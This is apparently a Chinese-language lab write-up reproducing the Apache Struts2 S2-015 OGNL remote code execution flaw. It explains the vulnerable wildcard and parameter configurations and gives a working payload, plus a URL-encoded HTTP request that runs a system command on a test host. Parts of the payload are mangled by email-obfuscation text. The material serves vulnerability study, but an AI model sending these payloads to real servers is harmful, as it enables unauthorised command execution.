S2-015 遠端程式碼執行漏洞
影響版本: 2.0.0 - 2.3.14.2
漏洞詳情:
測試環境搭建
docker-compose build
docker-compose up -d
原理與測試
漏洞產生於配置了 Action 萬用字元 *,並將其作為動態值時,解析時會將其內容執行 OGNL 表示式,例如:
<package name="S2-015" extends="struts-default"> <action name="*" class="com.demo.action.PageAction"> <result>/{1}.jsp</result> </action> </package>
上述配置能讓我們訪問 name.action 時使用 name.jsp 來渲染頁面,但是在提取 name 並解析時,對其執行了 OGNL 表示式解析,所以導致命令執行。在實踐復現的時候發現,由於 name 值的位置比較特殊,一些特殊的字元如 / " \ 都無法使用(轉義也不行),所以在利用該點進行遠端命令執行時一些帶有路徑的命令可能無法執行成功。
還有需要說明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新內容中,刪除了 SecurityMemberAccess 類中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以後都不能直接通過 #_memberAccess['allowStaticMethodAccess']=true
這裡為了到達執行命令的目的可以用 kxlzx 提到的呼叫動態方法 (new java.lang.ProcessBuilder('calc')).start() 來解決,另外還可以藉助 Java 反射機制去間接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)
可以構造 Payload 如下:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
直接回顯
除了上面所說到的這種情況以外,S2-015 還涉及一種二次引用執行的情況:
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
這裡配置了 <param name="errorMessage">${message}</param>
,其中 message 為 ParamAction 中的一個私有變數,這樣配置會導致觸發該 Result 時,Struts2 會從請求引數中獲取 message 的值,並在解析過程中,觸發了 OGNL 表示式執行,因此只用提交 %{1111*2} 作為其變數值提交就會得到執行。這裡需要注意的是這裡的二次解析是因為在 struts.xml 中使用 ${param} 引用了 Action 中的變數所導致的,並不針對於 type="httpheader" 這種返回方式。
漏洞復現
下載好環境之後訪問ip+8080埠
輸入/${1+1}.action
發現表示式被執行,證明存在漏洞
將要執行的EXP進行URL編碼
GET /%24%7B%23context['xwork.MethodAccessor.denyMethodExecution']%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())%2C%23q%7D.action HTTP/1.1
Host: 192.168.10.128:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1